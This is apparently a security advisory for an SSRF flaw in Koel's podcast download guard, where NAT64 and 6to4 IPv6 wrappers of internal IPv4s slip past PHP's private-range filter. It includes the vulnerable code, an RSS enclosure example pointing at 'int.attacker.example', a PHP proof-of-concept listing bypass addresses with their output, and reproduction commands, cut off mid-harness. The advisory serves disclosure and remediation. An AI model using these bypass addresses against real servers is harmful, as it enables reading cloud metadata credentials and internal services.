CVE-2026-54494

Summary

Koel's outbound-URL guard App\Helpers\Network::isPublicHost() classifies an IP as "public" using PHP's filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE). That flag set does not recognise IPv6 transition-address forms that embed a private/loopback/link-local IPv4: NAT64 well-known prefix 64:ff9b::/96 (RFC 6052) and 6to4 2002::/16 (RFC 3056). An address such as 64:ff9b::7f00:1 (= 127.0.0.1), 64:ff9b::a9fe:a9fe (= 169.254.169.254, the cloud metadata endpoint), or 2002:a00:1:: (= 10.0.0.1) is reported as a public address, so the guard returns true and Koel proceeds to fetch the URL.

The guard is the only SSRF defense in front of App\Values\Podcast\EpisodePlayable::createForEpisode(), which downloads a podcast episode with Http::sink($file)->get($url) and streams the response body back to the requesting user. Because an attacker fully controls the <enclosure url> of any RSS feed they host (and any authenticated user can subscribe to a feed), they can publish an enclosure whose hostname has an AAAA record that is a NAT64/6to4 wrapper of an internal IP. On hosts with NAT64 or 6to4/dual-stack routing (the standard configuration on IPv6-only AWS/GCP subnets and 6to4-relayed networks), the kernel routes the wrapper to the embedded IPv4, and Koel performs a full-read SSRF against the internal endpoint — returning the response body to the attacker.

This is a server-side request forgery with full response disclosure (CWE-918) against internal services and cloud instance metadata.

Vulnerable code

app/Helpers/Network.php — isPublicHost() (the literal-IP branch and the per-resolved-record branch use the identical predicate):

public function isPublicHost(string $host): bool
{
    if (filter_var($host, FILTER_VALIDATE_IP)) {
        return (
            filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false
        );
    }

    try {
        $records = array_merge(dns_get_record($host, DNS_A) ?: [], dns_get_record($host, DNS_AAAA) ?: []);
    } catch (Throwable) {
        return false;
    }

    if ($records === []) {
        return false;
    }

    foreach ($records as $record) {
        $ip = $record['ip'] ?? $record['ipv6'] ?? null;

        if (
            !$ip
            || filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false
        ) {
            return false;
        }
    }

    return true;
}

PHP's FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE rejects RFC 1918, loopback, link-local and IPv4-mapped IPv6 (::ffff:a.b.c.d), but treats NAT64 64:ff9b::/96 and 6to4 2002::/16 as ordinary global addresses — even though both forms deterministically embed an IPv4 the kernel will route to.

The sink, app/Values/Podcast/EpisodePlayable.php — createForEpisode():

$network = app(Network::class);
$url = (string) $episode->path;

if (!$network->isSafeUrl($url)) {            // isSafeUrl() -> isPublicHost(), the only guard
    throw UnsafeUrlException::forUrl($url);
}

Http::sink($file)
    ->withOptions([
        'allow_redirects' => [
            'max' => 5,
            'on_redirect' => static function (
                RequestInterface $request,
                ResponseInterface $response,
                UriInterface $uri,
            ) use ($network): void {
                if (!$network->isSafeUrl((string) $uri)) {   // same guard on redirects -> same bypass
                    throw UnsafeUrlException::forUrl((string) $uri);
                }
            },
        ],
    ])
    ->get($url)                              // full-read SSRF: response streamed into $file
    ->throw();

$episode->path is the <enclosure url> from the subscribed podcast RSS feed. The redirect callback reuses the same isSafeUrl(), so a redirect to a NAT64/6to4 host is also accepted.

Attack scenario / How input reaches the sink

1. Attacker hosts a podcast RSS feed and serves an item whose enclosure is <enclosure url="http://int.attacker.example/secret" type="audio/mpeg"/>, where int.attacker.example publishes AAAA = 64:ff9b::a9fe:a9fe (NAT64 wrapper of 169.254.169.254) or 2002:a00:1:: (6to4 wrapper of 10.0.0.1). The attacker may also use a bare IPv6-literal enclosure host directly.
2. A Koel user subscribes to the feed (a standard, intended feature — the podcast subscription endpoint accepts an arbitrary feed URL) and plays / streams the episode.
3. EpisodePlayable::createForEpisode() calls isSafeUrl($url). The host resolves to the NAT64/6to4 address; isPublicHost() runs filter_var(NO_PRIV_RANGE | NO_RES_RANGE) over the embedded-IPv4 transition form and returns true.
4. Http::sink($file)->get($url) connects. On a NAT64/dual-stack/6to4-routed host the kernel forwards to the embedded internal IPv4. The internal response body is written to $file and served back to the user — full-read SSRF against internal services / cloud IMDS.

Proof of concept

(a) Guard-predicate proof (PHP 8.5, the exact filter_var call)

<?php
function isPublicHost_literal(string $ip): bool {        // koel Network::isPublicHost literal branch
    if (!filter_var($ip, FILTER_VALIDATE_IP)) return false;
    return filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false;
}
foreach ([
  ['NAT64(127.0.0.1)','64:ff9b::7f00:1'], ['NAT64(169.254.169.254 IMDS)','64:ff9b::a9fe:a9fe'],
  ['NAT64(10.0.0.1)','64:ff9b::a00:1'],   ['6to4(127.0.0.1)','2002:7f00:1::'],
  ['6to4(169.254.169.254)','2002:a9fe:a9fe::'], ['6to4(10.0.0.1)','2002:a00:1::'],
  ['direct 127.0.0.1','127.0.0.1'], ['direct 10.0.0.1','10.0.0.1'],
  ['direct 169.254.169.254','169.254.169.254'], ['IPv4-mapped ::ffff:10.0.0.1','::ffff:10.0.0.1'],
] as [$l,$ip]) printf("%-30s %-22s passes_public=%s\n",$l,$ip,isPublicHost_literal($ip)?'YES(BYPASS)':'no(blocked)');

Verbatim output:

NAT64(127.0.0.1)               64:ff9b::7f00:1        passes_public=YES(BYPASS)
NAT64(169.254.169.254 IMDS)    64:ff9b::a9fe:a9fe     passes_public=YES(BYPASS)
NAT64(10.0.0.1)                64:ff9b::a00:1         passes_public=YES(BYPASS)
6to4(127.0.0.1)                2002:7f00:1::          passes_public=YES(BYPASS)
6to4(169.254.169.254)          2002:a9fe:a9fe::       passes_public=YES(BYPASS)
6to4(10.0.0.1)                 2002:a00:1::           passes_public=YES(BYPASS)
direct 127.0.0.1               127.0.0.1              passes_public=no(blocked)
direct 10.0.0.1                10.0.0.1               passes_public=no(blocked)
direct 169.254.169.254         169.254.169.254        passes_public=no(blocked)
IPv4-mapped ::ffff:10.0.0.1    ::ffff:10.0.0.1        passes_public=no(blocked)

End-to-end reproduction against pinned koel v9.5.0

Environment: git clone --branch v9.5.0 https://github.com/koel/koel.git + composer install, run inside a php:8.5-cli container started with --cap-add=NET_ADMIN so the NAT64 and 6to4 prefixes can be assigned to lo, simulating a NAT64/dual-stack host's kernel routing:

ip -6 addr add 64:ff9b::7f00:1/128 dev lo    # NAT64 wrapper of 127.0.0.1 -> loopback
ip -6 addr add 2002:7f00:1::/128 dev lo       # 6to4 wrapper of 127.0.0.1  -> loopback

A localhost stand-in "internal IMDS" server listens on those literals and returns SENTINEL_INTERNAL_IMDS_SECRET=ssrf-proven-token-koel-nat64. The harness boots a real Laravel container, resolves the genuine released App\Helpers\Network (from app/Helpers/Network.php), invokes its real isPublicHost() on each attacker AAAA-record value, then runs the verbatim EpisodePlayable::createForEpisode() body (isSafeUrl guard, then Http::sink($file)->get($url) via Laravel's real Guzzle-backed client):

$network = $app->make(App\Helpers\Network::class);   // resolved from app/Helpers/Network.php
// STEP 1: genuine guard decision on the attacker A